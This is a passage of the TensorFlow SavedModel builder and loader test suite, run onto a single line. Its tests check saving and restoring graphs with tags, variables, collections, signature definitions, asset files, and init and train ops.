v = variables.Variable(variable_value, name=variable_name) sess.run(variables.global_variables_initializer()) self.assertEqual(variable_value, v.eval()) def _build_asset_collection(self, asset_file_name, asset_file_contents, asset_file_tensor_name, asset_subdir=""): parent_dir = os.path.join( compat.as_bytes(test.get_temp_dir()), compat.as_bytes(asset_subdir)) file_io.recursive_create_dir(parent_dir) asset_filepath = os.path.join( compat.as_bytes(parent_dir), compat.as_bytes(asset_file_name)) file_io.write_string_to_file(asset_filepath, asset_file_contents) asset_file_tensor = constant_op.constant( asset_filepath, name=asset_file_tensor_name) ops.add_to_collection(ops.GraphKeys.ASSET_FILEPATHS, asset_file_tensor) asset_collection = ops.get_collection(ops.GraphKeys.ASSET_FILEPATHS) return asset_collection def _validate_asset_collection(self, export_dir, graph_collection_def, expected_asset_file_name, expected_asset_file_contents, expected_asset_tensor_name, asset_id=0): assets_any = graph_collection_def[constants.ASSETS_KEY].any_list.value asset = meta_graph_pb2.AssetFileDef() assets_any[asset_id].Unpack(asset) assets_path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.ASSETS_DIRECTORY), compat.as_bytes(expected_asset_file_name)) actual_asset_contents = file_io.read_file_to_string(assets_path) self.assertEqual(expected_asset_file_contents, compat.as_text(actual_asset_contents)) self.assertEqual(expected_asset_file_name, asset.filename) self.assertEqual(expected_asset_tensor_name, asset.tensor_info.name) def _validate_inputs_tensor_info_fail(self, builder, tensor_info): with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) foo_signature = signature_def_utils.build_signature_def({ "foo_inputs": tensor_info }, dict(), "foo") self.assertRaises( AssertionError, builder.add_meta_graph_and_variables, sess, ["foo"], signature_def_map={"foo_key": foo_signature}) def _validate_inputs_tensor_info_accept(self, builder, tensor_info): with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) foo_signature = signature_def_utils.build_signature_def({ "foo_inputs": tensor_info }, dict(), "foo") builder.add_meta_graph_and_variables( sess, ["foo"], signature_def_map={"foo_key": foo_signature}) def _validate_outputs_tensor_info_fail(self, builder, tensor_info): with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) foo_signature = signature_def_utils.build_signature_def( dict(), {"foo_outputs": tensor_info}, "foo") self.assertRaises( AssertionError, builder.add_meta_graph_and_variables, sess, ["foo"], signature_def_map={"foo_key": foo_signature}) def _validate_outputs_tensor_info_accept(self, builder, tensor_info): with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) foo_signature = signature_def_utils.build_signature_def( dict(), {"foo_outputs": tensor_info}, "foo") builder.add_meta_graph_and_variables( sess, ["foo"], signature_def_map={"foo_key": foo_signature}) def testMaybeSavedModelDir(self): base_path = test.test_src_dir_path("/python/saved_model") self.assertFalse(loader.maybe_saved_model_directory(base_path)) base_path = test.test_src_dir_path(SAVED_MODEL_PATH) self.assertTrue(loader.maybe_saved_model_directory(base_path)) base_path = "complete_garbage" self.assertFalse(loader.maybe_saved_model_directory(base_path)) def testBadSavedModelFileFormat(self): export_dir = self._get_export_dir("test_bad_saved_model_file_format") # Attempt to load a SavedModel from an export directory that does not exist. with self.test_session(graph=ops.Graph()) as sess: with self.assertRaisesRegexp(IOError, "SavedModel file does not exist at: %s" % export_dir): loader.load(sess, ["foo"], export_dir) os.makedirs(export_dir) # Write an invalid binary proto to saved_model.pb. path_to_pb = os.path.join(export_dir, constants.SAVED_MODEL_FILENAME_PB) with open(path_to_pb, "w") as f: f.write("invalid content") with self.test_session(graph=ops.Graph()) as sess: with self.assertRaisesRegexp(IOError, "Cannot parse file.*%s" % constants.SAVED_MODEL_FILENAME_PB): loader.load(sess, ["foo"], export_dir) # Cleanup the directory and start again. file_io.delete_recursively(export_dir) os.makedirs(export_dir) # Write an invalid text proto to saved_model.pbtxt path_to_pbtxt = os.path.join(export_dir, constants.SAVED_MODEL_FILENAME_PBTXT) with open(path_to_pbtxt, "w") as f: f.write("invalid content") with self.test_session(graph=ops.Graph()) as sess: with self.assertRaisesRegexp(IOError, "Cannot parse file.*%s" % constants.SAVED_MODEL_FILENAME_PBTXT): loader.load(sess, ["foo"], export_dir) def testVerifySessionGraphUsage(self): export_dir = self._get_export_dir("test_verify_session_graph_usage") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables(sess, [tag_constants.TRAINING]) # Save the SavedModel to disk. builder.save() # Build a session and supply it to the load operation. sess = session.Session(graph=ops.Graph()) loader.load(sess, [tag_constants.TRAINING], export_dir) # Check the variable within the scope of the session and its graph. with sess: self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) def testSequence(self): export_dir = self._get_export_dir("test_sequence") builder = saved_model_builder.SavedModelBuilder(export_dir) # Expect an assertion error since add_meta_graph_and_variables() should be # invoked before any add_meta_graph() calls. with self.test_session(graph=ops.Graph()) as sess: self.assertRaises(AssertionError, builder.add_meta_graph, ["foo"]) # Expect an assertion error for multiple calls of # add_meta_graph_and_variables() since weights should be saved exactly once. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables(sess, ["bar"]) self.assertRaises(AssertionError, builder.add_meta_graph_and_variables, sess, ["baz"]) def testTags(self): export_dir = self._get_export_dir("test_tags") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with a single variable. SavedModel invoked to: # - add with weights. # - a single tag (from predefined constants). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables(sess, [tag_constants.TRAINING]) # Graph that updates the single variable. SavedModel invoked to: # - simply add the model (weights are not updated). # - a single tag (from predefined constants). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 43) builder.add_meta_graph([tag_constants.SERVING]) # Graph that updates the single variable. SavedModel invoked to: # - simply add the model (weights are not updated). # - multiple tags (from predefined constants). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 45) builder.add_meta_graph([tag_constants.SERVING, tag_constants.GPU]) # Graph that updates the single variable. SavedModel invoked to: # - simply add the model (weights are not updated). # - multiple tags (from predefined constants for serving on TPU). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 45) builder.add_meta_graph([tag_constants.SERVING, tag_constants.TPU]) # Graph that updates the single variable. SavedModel is invoked: # - to add the model (weights are not updated). # - multiple custom tags. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 44) builder.add_meta_graph(["foo", "bar"]) # Save the SavedModel to disk. builder.save() # Restore the graph with a single predefined tag whose variables were saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, [tag_constants.TRAINING], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Restore the graph with a single predefined tag whose variables were not # saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, [tag_constants.SERVING], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Restore the graph with multiple predefined tags whose variables were not # saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, [tag_constants.SERVING, tag_constants.GPU], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Restore the graph with multiple predefined tags (for serving on TPU) # whose variables were not saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, [tag_constants.SERVING, tag_constants.TPU], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Restore the graph with multiple tags. Provide duplicate tags to test set # semantics. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo", "bar", "foo"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Try restoring a graph with a non-existent tag. This should yield a runtime # error. with self.test_session(graph=ops.Graph()) as sess: self.assertRaises(RuntimeError, loader.load, sess, ["INVALID"], export_dir) # Try restoring a graph where a subset of the tags match. Since tag matching # for meta graph defs follows "all" semantics, this should yield a runtime # error. with self.test_session(graph=ops.Graph()) as sess: self.assertRaises(RuntimeError, loader.load, sess, ["foo", "baz"], export_dir) def testVariables(self): export_dir = self._get_export_dir("test_variables") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with two variables. SavedModel invoked to: # - add with weights. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v1", 1) self._init_and_validate_variable(sess, "v2", 2) builder.add_meta_graph_and_variables(sess, ["foo"]) # Graph with a single variable (subset of the variables from the previous # graph whose weights were saved). SavedModel invoked to: # - simply add the model (weights are not updated). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v2", 3) builder.add_meta_graph(["bar"]) # Graph with a single variable (disjoint set of variables from the previous # graph whose weights were saved). SavedModel invoked to: # - simply add the model (weights are not updated). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v3", 4) builder.add_meta_graph(["baz"]) # Save the SavedModel to disk. builder.save() # Restore the graph with tag "foo", whose variables were saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) collection_vars = ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES) self.assertEqual(len(collection_vars), 2) self.assertEqual(1, collection_vars[0].eval()) self.assertEqual(2, collection_vars[1].eval()) # Restore the graph with tag "bar", whose variables were not saved. Only the # subset of the variables added to the graph will be restored with the # checkpointed value. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["bar"], export_dir) collection_vars = ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES) self.assertEqual(len(collection_vars), 1) self.assertEqual(2, collection_vars[0].eval()) # Try restoring the graph with tag "baz", whose variables were not saved. # Since this graph has a disjoint set of variables from the set that was # saved, this should raise an error. with self.test_session(graph=ops.Graph()) as sess: self.assertRaises(errors.NotFoundError, loader.load, sess, ["baz"], export_dir) def testGraphWithoutVariables(self): export_dir = self._get_export_dir("test_graph_has_variables") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with no variables. with self.test_session(graph=ops.Graph()) as sess: constant_5_name = constant_op.constant(5.0).name builder.add_meta_graph_and_variables(sess, ["foo"]) # Second graph with no variables with self.test_session(graph=ops.Graph()) as sess: constant_6_name = constant_op.constant(6.0).name builder.add_meta_graph(["bar"]) # Save the SavedModel to disk. builder.save() # Restore the graph with tag "foo". with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) # Read the constant a from the graph. a = ops.get_default_graph().get_tensor_by_name(constant_5_name) b = constant_op.constant(6.0) c = a * b self.assertEqual(30.0, sess.run(c)) # Restore the graph with tag "bar". with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["bar"], export_dir) # Read the constant a from the graph. a = ops.get_default_graph().get_tensor_by_name(constant_6_name) b = constant_op.constant(5.0) c = a * b self.assertEqual(30.0, sess.run(c)) def testNoOverwrite(self): export_dir = self._get_export_dir("test_no_overwrite") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with a single variable. SavedModel invoked to: # - add with weights. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk in text format. builder.save(as_text=True) # Restore the graph with tag "foo", whose variables were saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # An attempt to create another builder with the same export directory should # result in an assertion error. self.assertRaises(AssertionError, saved_model_builder.SavedModelBuilder, export_dir) def testSaveAsText(self): export_dir = self._get_export_dir("test_astext") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with a single variable. SavedModel invoked to: # - add with weights. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) builder.add_meta_graph_and_variables(sess, ["foo"]) # Graph with the same single variable. SavedModel invoked to: # - simply add the model (weights are not updated). with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 43) builder.add_meta_graph(["bar"]) # Save the SavedModel to disk in text format. builder.save(as_text=True) # Restore the graph with tag "foo", whose variables were saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) # Restore the graph with tag "bar", whose variables were not saved. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["bar"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) def testCollections(self): export_dir = self._get_export_dir("test_collections") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with a single variable added to a collection. SavedModel invoked to: # - add with weights. with self.test_session(graph=ops.Graph()) as sess: v = variables.Variable(42, name="v") ops.add_to_collection("foo_vars", v) sess.run(variables.global_variables_initializer()) self.assertEqual(42, v.eval()) builder.add_meta_graph_and_variables(sess, ["foo"]) # Graph with the same single variable added to a different collection. # SavedModel invoked to: # - simply add the model (weights are not updated). with self.test_session(graph=ops.Graph()) as sess: v = variables.Variable(43, name="v") ops.add_to_collection("bar_vars", v) sess.run(variables.global_variables_initializer()) self.assertEqual(43, v.eval()) builder.add_meta_graph(["bar"]) # Save the SavedModel to disk. builder.save() # Restore the graph with tag "foo", whose variables were saved. The # collection 'foo_vars' should contain a single element. The collection # 'bar_vars' should not be found. with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) collection_foo_vars = ops.get_collection("foo_vars") self.assertEqual(len(collection_foo_vars), 1) self.assertEqual(42, collection_foo_vars[0].eval()) self.assertEqual(len(ops.get_collection("bar_vars")), 0) # Restore the graph with tag "bar", whose variables were not saved. The # collection-def exported as part of the meta graph def is updated to # reflect the new collection. The value of the variable in the # collection-def corresponds to the saved value (from the previous graph # with tag "foo"). with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["bar"], export_dir) collection_bar_vars = ops.get_collection("bar_vars") self.assertEqual(len(collection_bar_vars), 1) self.assertEqual(42, collection_bar_vars[0].eval()) self.assertEqual(len(ops.get_collection("foo_vars")), 0) def testSignatureDefs(self): export_dir = self._get_export_dir("test_signature_defs") builder = saved_model_builder.SavedModelBuilder(export_dir) # Graph with a single variable and a single entry in the signature def map. # SavedModel is invoked to add with weights. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) # Build and populate an empty SignatureDef for testing. foo_signature = signature_def_utils.build_signature_def(dict(), dict(), "foo") builder.add_meta_graph_and_variables( sess, ["foo"], signature_def_map={"foo_key": foo_signature}) # Graph with the same single variable and multiple entries in the signature # def map. No weights are saved by SavedModel. with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 43) # Build and populate a different SignatureDef for testing. bar_signature = signature_def_utils.build_signature_def(dict(), dict(), "bar") # Also, build a different SignatureDef corresponding to "foo_key" defined # in the previous graph. foo_new_signature = signature_def_utils.build_signature_def(dict(), dict(), "foo_new") builder.add_meta_graph( ["bar"], signature_def_map={ "bar_key": bar_signature, "foo_key": foo_new_signature }) # Save the SavedModel to disk. builder.save() # Restore the graph with tag "foo". The single entry in the SignatureDef map # corresponding to "foo_key" should exist. with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) foo_signature = foo_graph.signature_def self.assertEqual(len(foo_signature), 1) self.assertEqual("foo", foo_signature["foo_key"].method_name) # Restore the graph with tag "bar". The SignatureDef map should have two # entries. One corresponding to "bar_key" and another corresponding to the # new value of "foo_key". with self.test_session(graph=ops.Graph()) as sess: bar_graph = loader.load(sess, ["bar"], export_dir) self.assertEqual( 42, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES)[0].eval()) bar_signature = bar_graph.signature_def self.assertEqual(len(bar_signature), 2) self.assertEqual("bar", bar_signature["bar_key"].method_name) self.assertEqual("foo_new", bar_signature["foo_key"].method_name) def testSignatureDefValidationFails(self): export_dir = self._get_export_dir("test_signature_def_validation_fail") builder = saved_model_builder.SavedModelBuilder(export_dir) tensor_without_encoding = meta_graph_pb2.TensorInfo() tensor_without_encoding.dtype = types_pb2.DT_FLOAT self._validate_inputs_tensor_info_fail(builder, tensor_without_encoding) self._validate_outputs_tensor_info_fail(builder, tensor_without_encoding) tensor_without_dtype = meta_graph_pb2.TensorInfo() tensor_without_dtype.name = "x" self._validate_inputs_tensor_info_fail(builder, tensor_without_dtype) self._validate_outputs_tensor_info_fail(builder, tensor_without_dtype) tensor_empty = meta_graph_pb2.TensorInfo() self._validate_inputs_tensor_info_fail(builder, tensor_empty) self._validate_outputs_tensor_info_fail(builder, tensor_empty) def testSignatureDefValidationSucceedsWithName(self): tensor_with_name = meta_graph_pb2.TensorInfo() tensor_with_name.name = "foo" tensor_with_name.dtype = types_pb2.DT_FLOAT export_dir = self._get_export_dir("test_signature_def_validation_name_1") builder = saved_model_builder.SavedModelBuilder(export_dir) self._validate_inputs_tensor_info_accept(builder, tensor_with_name) export_dir = self._get_export_dir("test_signature_def_validation_name_2") builder = saved_model_builder.SavedModelBuilder(export_dir) self._validate_outputs_tensor_info_accept(builder, tensor_with_name) def testSignatureDefValidationSucceedsWithCoo(self): tensor_with_coo = meta_graph_pb2.TensorInfo() # TODO(soergel) test validation of each of the fields of coo_sparse tensor_with_coo.coo_sparse.values_tensor_name = "foo" tensor_with_coo.dtype = types_pb2.DT_FLOAT export_dir = self._get_export_dir("test_signature_def_validation_coo_1") builder = saved_model_builder.SavedModelBuilder(export_dir) self._validate_inputs_tensor_info_accept(builder, tensor_with_coo) export_dir = self._get_export_dir("test_signature_def_validation_coo_2") builder = saved_model_builder.SavedModelBuilder(export_dir) self._validate_outputs_tensor_info_accept(builder, tensor_with_coo) def testAssets(self): export_dir = self._get_export_dir("test_assets") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) # Build an asset collection. ignored_filepath = os.path.join( compat.as_bytes(test.get_temp_dir()), compat.as_bytes("ignored.txt")) file_io.write_string_to_file(ignored_filepath, "will be ignored") asset_collection = self._build_asset_collection("hello42.txt", "foo bar baz", "asset_file_tensor") builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz", "asset_file_tensor:0") ignored_asset_path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.ASSETS_DIRECTORY), compat.as_bytes("ignored.txt")) self.assertFalse(file_io.file_exists(ignored_asset_path)) def testAssetsNameCollisionDiffFile(self): export_dir = self._get_export_dir("test_assets_name_collision_diff_file") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) asset_collection = self._build_asset_collection( "hello42.txt", "foo bar bak", "asset_file_tensor", asset_subdir="1") asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz", "asset_file_tensor_1", asset_subdir="2") builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar bak", "asset_file_tensor:0") self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt_1", "foo bar baz", "asset_file_tensor_1:0", asset_id=1) def testAssetsNameCollisionSameFilepath(self): export_dir = self._get_export_dir("test_assets_name_collision_same_path") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz", "asset_file_tensor") asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz", "asset_file_tensor_1") builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz", "asset_file_tensor:0") # The second tensor should be recorded, but the same. self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz", "asset_file_tensor_1:0", asset_id=1) ignored_asset_path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.ASSETS_DIRECTORY), compat.as_bytes("hello42.txt_1")) self.assertFalse(file_io.file_exists(ignored_asset_path)) def testAssetsNameCollisionSameFile(self): export_dir = self._get_export_dir("test_assets_name_collision_same_file") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz", "asset_file_tensor", asset_subdir="1") asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz", "asset_file_tensor_1", asset_subdir="2") builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz", "asset_file_tensor:0") # The second tensor should be recorded, but the same. self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz", "asset_file_tensor_1:0", asset_id=1) ignored_asset_path = os.path.join( compat.as_bytes(export_dir), compat.as_bytes(constants.ASSETS_DIRECTORY), compat.as_bytes("hello42.txt_1")) self.assertFalse(file_io.file_exists(ignored_asset_path)) def testAssetsNameCollisionManyFiles(self): export_dir = self._get_export_dir("test_assets_name_collision_many_files") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) for i in range(5): idx = str(i) asset_collection = self._build_asset_collection( "hello42.txt", "foo bar baz " + idx, "asset_file_tensor_" + idx, asset_subdir=idx) builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: foo_graph = loader.load(sess, ["foo"], export_dir) for i in range(1, 5): idx = str(i) self._validate_asset_collection( export_dir, foo_graph.collection_def, "hello42.txt_" + idx, "foo bar baz " + idx, "asset_file_tensor_{}:0".format(idx), asset_id=i) self._validate_asset_collection(export_dir, foo_graph.collection_def, "hello42.txt", "foo bar baz 0", "asset_file_tensor_0:0") def testCustomMainOp(self): export_dir = self._get_export_dir("test_main_op") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: # Add `v1` and `v2` variables to the graph. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) v2 = variables.Variable(2, name="v2") ops.add_to_collection("v", v2) # Initialize another variable `v3` to 42. v3 = variables.Variable(42, name="v3") ops.add_to_collection("v", v3) # Set up an assignment op to be run as part of the main_op. with ops.control_dependencies([main_op.main_op()]): add_v1_v2 = math_ops.add(v1._ref(), v2._ref()) custom_main_op = control_flow_ops.group(state_ops.assign(v3, add_v1_v2)) sess.run(custom_main_op) builder.add_meta_graph_and_variables( sess, ["foo"], main_op=custom_main_op) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual(1, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) # Evaluates to the sum of the first two variables and assigned as part of # the main_op, following a restore. self.assertEqual(3, ops.get_collection("v")[2].eval()) def testLegacyInitOp(self): export_dir = self._get_export_dir("test_legacy_init_op") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: # Add `v1` and `v2` variables to the graph. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) v2 = variables.Variable(2, name="v2") ops.add_to_collection("v", v2) # Initialize another variable `v3` to 42. v3 = variables.Variable(42, name="v3", trainable=False, collections=[]) ops.add_to_collection("v", v3) # Set up an assignment op to be run as part of the legacy_init_op. assign_v3 = state_ops.assign(v3, math_ops.add(v1, v2)) legacy_init_op = control_flow_ops.group(assign_v3, name="legacy_init_op") sess.run(variables.global_variables_initializer()) builder.add_meta_graph_and_variables( sess, ["foo"], legacy_init_op=legacy_init_op) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual(1, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) # Evaluates to the sum of the first two variables and assigned as part of # the legacy_init_op, following a restore. self.assertEqual(3, ops.get_collection("v")[2].eval()) def testLegacyInitOpWithNonEmptyCollection(self): export_dir = self._get_export_dir( "test_legacy_init_op_with_non_empty_collection") self._testInitOpsWithNonEmptyCollection( export_dir, constants.LEGACY_INIT_OP_KEY) def testMainOpWithNonEmptyCollection(self): export_dir = self._get_export_dir( "test_main_op_with_non_empty_collection") self._testInitOpsWithNonEmptyCollection(export_dir, constants.MAIN_OP_KEY) def _testInitOpsWithNonEmptyCollection(self, export_dir, key): builder = saved_model_builder.SavedModelBuilder(export_dir) g = ops.Graph() with self.test_session(graph=g) as sess: # Initialize variable `v1` to 1. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) # Initialize another variable `v2` to 42. v2 = variables.Variable(42, name="v2", trainable=False, collections=[]) ops.add_to_collection("v", v2) # Set up an assignment op to be run as part of the init op. assign_v2 = state_ops.assign(v2, v1) init_op = control_flow_ops.group(assign_v2, name="init_op") sess.run(variables.global_variables_initializer()) ops.add_to_collection(key, control_flow_ops.no_op()) # ValueError should be raised since the LEGACY_INIT_OP_KEY collection # is not empty and we don't support multiple init ops. with self.assertRaisesRegexp(ValueError, "Graph already contains"): builder.add_meta_graph_and_variables( sess, ["foo"], legacy_init_op=init_op) # We shouldn't be able to add as MAIN_OP, either. with self.assertRaisesRegexp(ValueError, "Graph already contains"): builder.add_meta_graph_and_variables(sess, ["foo"], main_op=init_op) def testTrainOp(self): export_dir = self._get_export_dir("test_train_op") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: # Add `v1` and `v2` variables to the graph. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) v2 = variables.Variable(2, name="v2") ops.add_to_collection("v", v2) sess.run(variables.global_variables_initializer()) train_op = state_ops.assign_add(v1, v2) sess.run(train_op) # TODO(karmel): remove explicit call when in the public method. builder._add_train_op(train_op) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual(3, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) self.assertIsInstance( ops.get_collection(constants.TRAIN_OP_KEY)[0], ops.Tensor) def testTrainOpGroup(self): export_dir = self._get_export_dir("test_train_op_group") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: # Add `v1` and `v2` variables to the graph. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) v2 = variables.Variable(2, name="v2") ops.add_to_collection("v", v2) sess.run(variables.global_variables_initializer()) train_op = control_flow_ops.group() sess.run(train_op) # TODO(karmel): remove explicit call when in the public method. builder._add_train_op(train_op) builder.add_meta_graph_and_variables(sess, ["foo"]) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertEqual(1, ops.get_collection("v")[0].eval()) self.assertEqual(2, ops.get_collection("v")[1].eval()) self.assertIsInstance( ops.get_collection(constants.TRAIN_OP_KEY)[0], ops.Operation) def testTrainOpAfterVariables(self): export_dir = self._get_export_dir("test_train_op_after_variables") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: # Add `v1` and `v2` variables to the graph. v1 = variables.Variable(1, name="v1") ops.add_to_collection("v", v1) v2 = variables.Variable(2, name="v2") ops.add_to_collection("v", v2) sess.run(variables.global_variables_initializer()) builder.add_meta_graph_and_variables(sess, ["pre_foo"]) train_op = state_ops.assign_add(v1, v2) sess.run(train_op) # TODO(karmel): remove explicit call when in the public method. builder._add_train_op(train_op) builder.add_meta_graph(["foo"]) # Save the SavedModel to disk. builder.save() with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["foo"], export_dir) self.assertIsInstance( ops.get_collection(constants.TRAIN_OP_KEY)[0], ops.Tensor) with self.test_session(graph=ops.Graph()) as sess: loader.load(sess, ["pre_foo"], export_dir) self.assertFalse(ops.get_collection(constants.TRAIN_OP_KEY)) def testMultipleAssets(self): export_dir = self._get_export_dir("test_multiple_assets") builder = saved_model_builder.SavedModelBuilder(export_dir) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 42) # Build an asset collection specific to `foo` graph. asset_collection = self._build_asset_collection("foo.txt", "content_foo", "asset_file_tensor") # Add the asset collection as part of the graph with tag "foo". builder.add_meta_graph_and_variables( sess, ["foo"], assets_collection=asset_collection) with self.test_session(graph=ops.Graph()) as sess: self._init_and_validate_variable(sess, "v", 